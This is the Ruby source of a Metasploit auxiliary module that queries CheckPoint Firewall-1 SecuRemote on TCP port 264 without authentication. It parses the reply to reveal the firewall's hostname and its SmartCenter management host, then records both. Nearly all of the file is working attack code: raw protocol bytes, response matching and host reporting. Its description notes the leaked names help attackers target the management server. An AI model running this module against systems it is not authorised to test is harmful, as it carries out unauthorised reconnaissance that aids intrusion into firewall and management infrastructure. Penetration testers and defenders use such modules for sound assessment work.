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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',
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      'Description'    => %q{
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        This module sends a query to the port 264/TCP on CheckPoint Firewall-1
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        firewalls to obtain the firewall name and management station
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        (such as SmartCenter) name via a pre-authentication request. The string
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        returned is the CheckPoint Internal CA CN for SmartCenter and the firewall
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        host. Whilst considered "public" information, the majority of installations
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        use detailed hostnames which may aid an attacker in focusing on compromising
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        the SmartCenter host, or useful for government, intelligence and military
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        networks where the hostname reveals the physical location and rack number
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        of the device, which may be unintentionally published to the world.
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      },
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      'Author'         => [ 'aushack' ],
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      'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference
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      'References'     =>
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        [
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          # aushack - None? Stumbled across, probably an old bug/feature but unsure.
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          [ 'URL', 'https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ],
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          [ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ]
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        ]
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    ))
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    register_options(
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      [
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        Opt::RPORT(264),
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      ])
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  end
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  def autofilter
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    false
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  end
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  def run
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    print_status("Attempting to contact Checkpoint FW1 SecuRemote Topology service...")
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    fw_hostname = nil
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    sc_hostname = nil
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    connect
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    sock.put("\x51\x00\x00\x00")
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    sock.put("\x00\x00\x00\x21")
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    res = sock.get_once(4)
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    if (res and res == "Y\x00\x00\x00")
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      print_good("Appears to be a CheckPoint Firewall...")
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      sock.put("\x00\x00\x00\x0bsecuremote\x00")
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      res = sock.get_once
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      if (res and res =~ /CN=(.+),O=(.+)\./i)
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        fw_hostname = $1
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        sc_hostname = $2
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        print_good("Firewall Host: #{fw_hostname}")
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        print_good("SmartCenter Host: #{sc_hostname}")
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      end
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    else
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      print_error("Unexpected response: '#{res.inspect}'")
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    end
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    report_info(fw_hostname,sc_hostname)
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    disconnect
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  end
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  # Only trust that it's real if we have a hostname. If you get a funny
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  # response, it might not be what we think it is.
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  def report_info(fw_hostname,sc_hostname)
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    return unless fw_hostname
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    host_info = {
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      :host => datastore['RHOST'],
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      :os_name => "Checkpoint Firewall-1",
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      :purpose => "firewall"
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    }
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    host_info[:name] = fw_hostname
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    host_info[:info] = "SmartCenter Host: #{sc_hostname}" if sc_hostname
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    report_host(host_info)
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    svc_info = {
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      :host => datastore['RHOST'],
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      :port => datastore['RPORT'],
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      :proto => "tcp",
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      :name => "securemote"
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    }
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    report_service(svc_info)
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  end
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end
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